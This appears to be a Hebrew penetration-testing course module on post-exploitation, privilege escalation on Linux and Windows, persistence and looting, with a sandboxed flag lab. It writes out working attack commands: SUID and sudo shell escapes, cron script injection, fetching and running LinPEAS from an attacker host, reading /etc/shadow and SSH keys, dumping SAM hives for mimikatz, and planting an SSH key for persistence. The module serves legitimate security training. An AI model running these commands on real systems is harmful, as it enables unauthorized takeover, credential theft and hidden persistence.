

מודול 11 — פוסט-אקספלוויטציה והסלמת הרשאות

חומר לימוד

1 יחידות

1. מודול 11 — פוסט-אקספלויטציה והסלמת הרשאות (Post-Exploitation & Privilege Escalation)

הכול בגלילה אחת: כל החומר של המודול בקובץ אחד — חומר לימוד, תרגילים, תרגול ופתרונות, ברצף.

מודול מעשי — הסלם ל-root! הרץ פעם אחת את `privesc_lab.sh` והוא בונה "מכונה שנפרצה" מבודדת ב-`~/privesc-lab`, שבה אתה משתמש מוגבל (`www-data`). מצא 3 דרכים שונות ל-root (`SUID`, `sudo`, `cron` כתיב) — בדיוק כמו `LinPEAS`. אחרי כל הדגמה: 🧠 בדוק את עצמך.

מודול 11 — פוסט-אקספלויטציה והסלמת הרשאות (Post-Exploitation & Privilege Escalation)

מטרות המודול: מה עושים אחרי שהשגנו Shell ראשוני. נלמד התמצאות במערכת (`Enumeration` מקומי), הסלמת הרשאות ב-Linux וב-Windows (`user` רגיל ל-`root/SYSTEM`), שמירת גישה (`Persistence`), ואיסוף מידע (`Looting`). זהו השלב שהופך "רגל בדלת" להשתלטות מלאה.

קבצים: `slides.md` · `practice.md` · `solutions.md` · `missions.md` · `README.md`.

למה זה חשוב? Shell ראשוני הוא לרוב כמשתמש מוגבל (`www-data`, `user` רגיל). הערך האמיתי בבדיקה מגיע מהסלמה ל-`root/SYSTEM` — משם שולטים בכל המכונה, שולפים סיסמאות, ומתקדמים ברשת (מודול 12).

תוכן העניינים

1. היכן אנחנו בשרשרת התקיפה
2. ייצוב ה-Shell (Shell Stabilization)
3. `Enumeration` מקומי — העיקרון
4. הסלמת הרשאות ב-Linux
5. הסלמת הרשאות ב-Windows
6. כלי אוטומציה ל-`Enumeration`
7. שמירת גישה (`Persistence`)
8. איסוף מידע (`Looting`)
9. ניקוי עקבות ואתיקה

11.1 היכן אנחנו בשרשרת התקיפה

השגנו גישה ראשונית (מודול 7/9/10) — לרוב כמשתמש **מוגבל**. שלב ה-Post-Exploitation כולל:

1. **ייצוב** ה-Shell שקיבלנו.
2. **Enumeration מקומי** — להבין על איזו מכונה אנחנו ומה יש בה.
3. **Privilege Escalation** — הסלמה ל-root (Linux) / SYSTEM (Windows).
4. **Looting** — איסוף סיסמאות, קבצים, מידע רגיש.
5. **Persistence** — שמירת דריסת רגל (בתיאום עם הלקוח בלבד!).

🎯 שאלת הזהב אחרי כל Shell: “מי אני, מה אני יכול לעשות, ומה מותקן כאן שיכול לקדם אותי?”

11.2 ייצוב ה-Shell (Shell Stabilization)

Reverse Shell גולמי (מ-nc) הוא “מוגבל” — אין השלמת Tab, אין חצים, וקריסה בכל Ctrl+C. **מייצבים אותו:**

```
# Linux-הנפוצה ב Python שיטת :
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Kali-ואז ב , (רקע) Ctrl+Z :
stty raw -echo; fg
# ← Shell עכשיו יש (Tab, חצים, Ctrl+C) מלא
```

שיטות נוספות: `script /dev/null -c bash`, או שדרוג ל-Meterpreter (`sessions -u <id>`) ב-Metasploit.

💡 Meterpreter (מטען של Metasploit) נותן Shell עשיר במיוחד: `getuid`, `sysinfo`, `hashdump`, `getsystem`, העלאה/הורדת קבצים, ו-`migrate` בין תהליכים.

11.3 Enumeration מקומי — העיקרון

לפני שמסלימים — אוספים מידע. השאלות המנחות:

שאלה	פקודה (Linux)	פקודה (Windows)
מי אני?	whoami , id	whoami /priv
איזו מערכת?	cat /etc/os-release , uname -a	systeminfo
מי עוד יש?	cat /etc/passwd	net user
מה רץ?	ps aux	wmic service , tasklist
רשת?	netstat -tulpn , ip a	netstat -ano , ipconfig /all
מה מותקן?	ls /opt , dpkg -l	wmic product get name

🔍 **הסלמת הרשאות = 90% Enumeration.** הפער כמעט תמיד "יושב" במידע שאספת: קובץ עם הרשאה שגויה, שירות רץ כ-root, סיסמה בקובץ קונפיג.

11.4 הסלמת הרשאות ב-Linux

הווקטורים הנפוצים (מ-user רגיל ל-root):

א. SUID / SGID Binaries

קבצים עם דגל SUID רצים בהרשאות **הבעלים** (לרוב root). אם קובץ SUID מאפשר הרצת פקודות — הסלמה:

```
find / -perm -4000 -type f 2>/dev/null # מציאת קובצי SUID
# SUID → GTF0Bins! עם find/nmap/vim אם מצאת למשל
```

📌 **GTF0Bins** — מאגר המסביר איך לנצל כל בינארי להסלמה. לדוגמה, `find` עם SUID:

```
find . -exec /bin/sh -p \; -quit # → shell כ-root
```

🚩 הדגמה — נסה בעצמך: שלושה מסלולים ל-root

הרגע שכל הקורס בנה אליו — הסלמה מ-user מוגבל ל-root, בשלוש דרכים.

הכנה — **בנה את הזירה והיכנס** (אתה `www-data`, משתמש מוגבל):

```
bash privesc_lab.sh      # מתיקית המודול
cd ~/privesc-lab
```

🚩 **וקטור 1 — קובץ SUID:** קבצים שרצים בהרשאות הבעלים (root). מִנָּה אותם:

```
find . -perm -4000 2>/dev/null # מצא קבצי SUID
sh ./bin/backup                # הרץ את שמצאת → flag{suid_binary_led_to_root}
```

🚩 **וקטור 2 — sudo misconfiguration:** בדוק מה מותר לך כ-sudo:

```
cat etc/sudo_l.txt          # מדמה 'sudo -l' → (root) NOPASSWD: less
cat bin/gtfo_hint.txt       # less הוא GTFOBins! מתוכו: !/bin/sh
sh ./bin/root_shell.sh      # shell-מדמה את בריחת ה → flag{sudo_less_gtfobins_shell_escape}
```

👁️ GTFOBins מלמד ש-less, vim, find ועוד — כשרצים כ-root דרך sudo — מאפשרים “לברוח” ל-shell מלא.

🚩 **וקטור 3 — Cron job כתיב:** משימה שרצה כ-root, אבל הסקריפט שלה כתיב לך:

```
cat etc/crontab             # * * * * * root /opt/cleanup.sh
ls -l opt/cleanup.sh         # כתיב לכולם! (החולשה) - 777
echo 'cat "$HOME/privesc-lab/opt/.root_reward"' >> opt/cleanup.sh # הזרק פקודה
sh ./bin/run_cron_as_root.sh # מריץ את הסקריפט root מדמה את → flag{writable_cron_job_runs_as_root}
```

👁️ הזרקת פקודה לסקריפט ש-root מריץ = הרצת קוד כ-root.

🎯 **מה קרה כאן:** בכל שלושת המקרים, טעות הגדרה (הרשאות SUID, כלל sudo רחב מדי, סקריפט cron כתיב) אפשרה למשתמש מוגבל להפוך ל-root. **הסלמה = 90% Enumeration** — כל וקטור התגלה בפקודת מנייה אחת.

🏆 **אתגר:** מצאת את כל שלושת הדגלים? זה בדיוק מה ש-LinPEAS מחפש אוטומטית. לאיפוס: `bash privesc_lab.sh --reset`

🧠 **בדוק את עצמך:** למה קובץ SUID בבעלות root מסוכן? (א) הוא תופס הרבה מקום - (ב) הוא רץ בהרשאות root גם כשמשמש מוגבל מפעיל אותו — ואם ניתן “לברוח” ממנו, מקבלים root - (ג) אי אפשר למחוק אותו

✅ **תשובה: ב** — SUID גורם לבינארי לרוץ כבעליו (root). בינארי כזה שמאפשר הרצת פקודות (ראה GTFOBins) = הסלמה מיידית ל-root.

ב. Sudo Misconfigurations

```
sudo -l # מה מותר לי להריץ כ כ
# GTF0Bins אם מותר להריץ תוכנית מסוימת → בדוק אותה ב
sudo vim -c '!/bin/sh' # דוגמה: vim דרך sudo → root
```

ג. Cron Jobs פגיעים

```
cat /etc/crontab; ls -la /etc/cron.*
# כתיב לך → הזרק פקודות משלך root-אם סקריפט שרץ כ
```

ד. Kernel Exploits

```
uname -a # exploit גרסת קרנל → חפש
# Dirty COW (CVE-2016-5195), PwnKit (CVE-2021-4034) למשל:
```

ה. הרשאות קבצים ו-Capabilities

```
getcap -r / 2>/dev/null # capabilities מסוכנים (cap_setuid)
find / -writable -type d 2>/dev/null # תיקיות כתיבות
cat /etc/passwd /etc/shadow # craking (8 מודול) → אם קריאים
```

11.5 הסלמת הרשאות ב-Windows

מ-user רגיל ל-**SYSTEM/Administrator**:

א. בדיקת הרשאות ופרטים

```
whoami /priv # הרשאות מיוחדות (SeImpersonate = "Potato" attacks!)
systeminfo # patchים חסרים → Hotfixes + גרסה
```

ב. Unquoted Service Path

שירותים עם נתיב לא-ממוקש ורווח (C:\Program Files\...) שכתוב → שתילת בינארי זדוני.

```
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "C:\Windows"
```

ג. Weak Service Permissions

אם למשתמש יש הרשאת שינוי על שירות → שנה את הבינארי שהוא מריץ
`sc qc <service>`

ד. AlwaysInstallElevated

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# SYSTEM-זדוני כ MSI אם שניהם = 1 → התקנת
```

ה. Token Impersonation (“Potato”)

אם יש `SeImpersonatePrivilege` (נפוץ בשירותי web/DB) → → **JuicyPotato / PrintSpoofer**.SYSTEM

שירותי IIS/MSSQL רצים לרוב עם `SeImpersonate` — זהו וקטור ההסלמה הקלאסי בשרתי Windows.

🧠 **בדוק את עצמך:** ב-Windows, איזו פקודה מציגה את ההרשאות המיוחדות של המשתמש (כמו `net user` (א - ?(`SeImpersonatePrivilege` (א - ?(`whoami /priv` (ב - `ipconfig /all` (ג - `net user`

✅ **תשובה: א** — `whoami /priv` מציג את ה-Privileges של ה-Token הנוכחי; נוכחות `SeImpersonatePrivilege` פותחת מתקפות “Potato” ל-SYSTEM.

11.6 כלי אוטומציה ל-Enumeration

במקום לבדוק ידנית — סקריפטים סורקים הכול ומדגישים וקטורים:

מערכת	כלי	הערה
Linux	LinPEAS	הסורק המקיף ביותר; צובע ממצאים
Linux	linux-exploit-suggester	מציע Kernel exploits לפי הגרסה
Linux	LinEnum.sh	קלאסי, קליל
Windows	WinPEAS	מקביל ל-LinPEAS
Windows	PowerUp.ps1	חלק מ-PowerSploit; מוצא misconfigs
Windows	windows-exploit-suggester	מצליב systeminfo מול patch

```
# (ב-Kali ב-HTTP למשל דרך שרת) מעבירים לקורבן:
python3 -m http.server 80 # ב-Kali
wget http://<kali>/linpeas.sh -O /tmp/lp.sh; chmod +x /tmp/lp.sh; /tmp/lp.sh
```

⚠ הכלים "רועשים" ומשאירים עקבות/קבצים. בבדיקה אמיתית — תעד מה העלית, ונקח בסוף.

11.7 שמירת גישה (Persistence)

רק בהרשאה מפורשת מהלקוח. מטרה: לשמור גישה גם אחרי אתחול / סגירת Shell.

- **Linux:** משתמש חדש, מפתח SSH ב- `~/.ssh/authorized_keys`, `Cron job`, שירות `systemd`.
- **Windows:** `Registry Run keys`, `Scheduled Task`, שירות חדש, משתמש מקומי חדש.
- **Meterpreter:** מודול `persistence` / `exploit/windows/local/persistence`.

```
# (דיסקרטי יחסית) SSH מפתח - Linux דוגמה:
echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys
```

🎯 בבדיקה מקצועית, Persistence מדגים ללקוח את **הסיכון האמיתי** — תוקף ששרד למרות אתחול. תמיד מתועד ומוסר בסוף.

11.8 איסוף מידע (Looting)

אחרי `SYSTEM/root` — אוספים ראיות וערך:

```
# Linux
cat /etc/shadow
find / -name "*.conf" 2>/dev/null
history; cat ~/.bash_history
cat ~/.ssh/id_rsa

# hashes → crack (8 מודול)
# DB! סיסמאות קבצי קונפיג
# פקודות קודמות
# פרטיים SSH מפתחות
```

```
:: Windows
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive :: → mimikatz/secretsdump
:: mimikatz: sekurlsa::logonpasswords → סיסמאות בזיכרון
```

 **החיבור למודול 12/13:** סיסמאות ו-hashes שאספת כאן משמשים **לתנועה רוחבית** ולתקיפת **Active Directory** — כך “קופצים” ממכונה למכונה.

11.9 ניקוי עקבות ואתיקה

- **תעד הכול** — כל שינוי שביצעת (קבצים שהעלית, משתמשים שיצרת, שירותים).
- **החזר למצב המקורי** — מחק כלים שהעלית, בטל Persistence, הסר משתמשים שיצרת.
- **אל תמחק לוגים** בבדיקה מקצועית ללא סיכום מראש — זה מסתיר ראיות שהלקוח צריך.

 ההבדל בין האקר אתי לפושע הוא **התיעוד וההחזרה למצב תקין**. אתה משאיר את המערכת כפי שמצאת — אבל עם דוח שמסביר איך פרצת.

סיכום המודול

- **Post-Exploitation** = כל מה שקורה אחרי ה-Shell הראשוני.
- **מייצבים** את ה-Shell, ואז **מונים (Enumerate)** את המערכת — 90% מההסלמה זה Enumeration.
- **Linux:** SUID, `sudo -l`, Cron, Kernel, Capabilities → GTF0Bins
- **Windows:** `whoami /priv`, Unquoted Path, Weak Services, AlwaysInstallElevated, Potato
- **אוטומציה:** LinPEAS / WinPEAS מאיצים את הזיהוי.
- **Looting** אוסף סיסמאות **לתנועה רוחבית** (מודול 12); Persistence — בהרשאה בלבד.

מה הלאה?

→ **תרגילים** — **missions.md** · פתרונות — **solutions.md** · תרגול ותרחישים — **practice.md** →

מודול 12 — **Pivoting** ותנועה רוחבית

